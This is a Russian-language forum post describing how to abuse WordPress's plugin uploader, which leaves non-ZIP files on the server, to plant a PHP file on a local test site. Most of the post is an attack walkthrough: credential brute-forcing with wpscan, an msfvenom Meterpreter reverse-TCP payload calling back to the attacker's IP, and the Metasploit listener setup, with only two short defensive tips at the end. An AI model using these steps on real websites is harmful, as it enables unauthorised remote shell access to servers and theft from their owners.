PDA

Просмотр полной версии : Добавление произвольных файлов на сервер при помощи загрузчика плагинов в WordPress


barracudaf
30.10.2020, 01:00
Плагины, загружаемые в WordPress через административную панель, не проверяются на предмет соответствия ZIP-архивам, что позволяет добавлять на сервер php-скрипты, картинки и другие типы файлов.

[/URL] (https://hpc.name/redirector.html#https://radikal.ru)IMAGE (https://hpc.name/redirector.html#https://a.radikal.ru/a38/2010/d9/a31490c05a72.jpg) https://a.radikal.ru/a38/2010/d9/a31490c05a72.jpg

Введение
Плагины, загружаемые в WordPress через административную панель, не проверяются на предмет соответствия ZIP-архивам, что позволяет добавлять на сервер php-скрипты, картинки и другие типы файлов. Во время добавления файла возникает сообщение об ошибке, сообщающее о неверном формате, однако файл все равно появляется на сервере, и злоумышленник может легко загрузить полезную нагрузку, написанную на PHP, имея в распоряжении учетную запись. Соответственно, используемый аккаунт становится уязвимым. Добавленный файл доступен по адресу /wordpress/wp-content/uploads/{year}/{month/{file_name}.

Тестовая среда
Операционная система злоумышленника: Kali Linux

Операционная система жертвы: Windows 7

Используемые утилиты: XAMPP, Metasploit

Другие требования: наличие дистрибутива Wordpress

Эксплуатация уязвимости будет продемонстрирована на локальном сервере:

Открываем XAMPP и запускаем нужные службы.

Копируем дистрибутив Wordpress в папку htdocs.

В браузере вводим адрес 127.0.0.1/wordpress.

Заходим по адресу 127.0.0.1/phpmyadmin, создаем базу данных и в таблице wp_options меняем значения некоторых параметров с 127.0.0.1 на 192.168.86.13x (IP-адрес ОС Windows).
(https://hpc.name/redirector.html#https://radikal.ru)IMAGE (https://hpc.name/redirector.html#https://a.radikal.ru/a33/2010/68/933e6f5342b7.jpg) https://a.radikal.ru/a33/2010/68/933e6f5342b7.jpg

Рисунок 1: Изменение параметров в таблице wp_options

5. Вносим изменения в файл wp-config-sample.php, находящийся в папке htdocs/wordpress, касающиеся пароля и имени базы данных.
(https://hpc.name/redirector.html#https://radikal.ru)IMAGE (https://hpc.name/redirector.html#https://b.radikal.ru/b12/2010/83/a006508638df.jpg) https://b.radikal.ru/b12/2010/83/a006508638df.jpg

Рисунок 2: Содержимое папки htdocs/wordpress

6. Создаем учетную запись в Wordpress

В Kali Linux используем утилиту wpscan для получения имени пользователя и пароля жертвы:

wpscan –url http://192.168.86.13x/wp-login.php (https://hpc.name/redirector.html#http://192.168.86.13x/wp-login.php) -U isha --password isha.txt

Заходим по адресу 192.168.86.13x/wordpress, логинимся при помощи полученной учетной записи, после чего переходим по адресу 192.168.86.13x/wordpress/wp-admin/.

Кликаем по ссылке «Add new» в разделе Plugins.
(https://hpc.name/redirector.html#https://radikal.ru)IMAGE (https://hpc.name/redirector.html#https://b.radikal.ru/b14/2010/4c/9c5bcd14ef6e.jpg) https://b.radikal.ru/b14/2010/4c/9c5bcd14ef6e.jpg

Рисунок 3: Добавление нового плагина

Выбираем нужный php-файл и кликаем на кнопку «Install now».
(https://hpc.name/redirector.html#https://radikal.ru)IMAGE (https://hpc.name/redirector.html#https://a.radikal.ru/a22/2010/86/33b614a8c209.jpg) https://a.radikal.ru/a22/2010/86/33b614a8c209.jpg

Рисунок 4: Установка полезной нагрузки

Ранее упоминалось, что загрузчик плагинов принимает только ZIP-архивы, и после загрузки php-файла мы получим сообщение об ошибке схожее с тем, которое показано на рисунке ниже, из-за неверного формата.
(https://hpc.name/redirector.html#https://radikal.ru)IMAGE (https://hpc.name/redirector.html#https://c.radikal.ru/c30/2010/e7/be7a0ed2db1c.jpg) https://c.radikal.ru/c30/2010/e7/be7a0ed2db1c.jpg

Рисунок 5: Сообщение об ошибке, появляющееся во время загрузки плагина

Извлечение плагина потерпело неудачу, однако php-файл находится в папке /wordpress/wp-content/uploads/{year}/{month/{file_name}.
(https://hpc.name/redirector.html#https://radikal.ru)IMAGE (https://hpc.name/redirector.html#https://c.radikal.ru/c26/2010/23/f4797588d0f2.jpg) https://c.radikal.ru/c26/2010/23/f4797588d0f2.jpg

Рисунок 6: Загруженный php-файл

При помощи этой уязвимости злоумышленник может создать полезную нагрузку с реверсивным шеллом при помощи модуля msfvenom и добавить в файл shell.php.

msfvenom –p php/meterpreter/reverse_tcp lhost=192.168.86.13y lport=1337 –f raw
(https://hpc.name/redirector.html#https://radikal.ru)IMAGE (https://hpc.name/redirector.html#https://a.radikal.ru/a27/2010/5f/17ad194f01af.jpg) https://a.radikal.ru/a27/2010/5f/17ad194f01af.jpg

Рисунок 7: Создание полезной нагрузки

После копирования полезной нагрузки в файл shell.php запускаем msfconsole:

Use exploit/multi/handler

Set lhost

Set lport

Use payload

Exploit

Теперь, когда жертва откроет файл shell.php, злоумышленник получит доступ к системе.
(https://hpc.name/redirector.html#https://radikal.ru)IMAGE (https://hpc.name/redirector.html#https://c.radikal.ru/c17/2010/7c/9f4eb7564ef7.jpg) https://c.radikal.ru/c17/2010/7c/9f4eb7564ef7.jpg

Рисунок 8: Настройка полезной нагрузки

После получения доступа становятся доступны многие команды:
(https://hpc.name/redirector.html#https://radikal.ru)IMAGE (https://hpc.name/redirector.html#https://d.radikal.ru/d04/2010/c2/a705b6a164aa.jpg) https://d.radikal.ru/d04/2010/c2/a705b6a164aa.jpg

(https://hpc.name/redirector.html#https://radikal.ru)IMAGE (https://hpc.name/redirector.html#https://d.radikal.ru/d03/2010/a8/8327ba69343c.jpg) https://d.radikal.ru/d03/2010/a8/8327ba69343c.jpg

Рисунок 9: Некоторые команды, доступные после получения доступа к системе жертвы
Также можно проверить установленное подключение на компьютере жертвы.
[URL="https://hpc.name/redirector.html#https://radikal.ru"] (https://hpc.name/redirector.html#https://radikal.ru)IMAGE (https://hpc.name/redirector.html#https://c.radikal.ru/c30/2010/8e/719fd70e71b3.jpg) https://c.radikal.ru/c30/2010/8e/719fd70e71b3.jpg

Рисунок 10: Перечень подключений

Методы защиты
1. В идеале во время загрузки плагинов и шаблонов должна очищаться папка загруженных файлов правильным образом в случае неудачной распаковки или установки.

2. Всегда использовать последнюю версию Wordpress.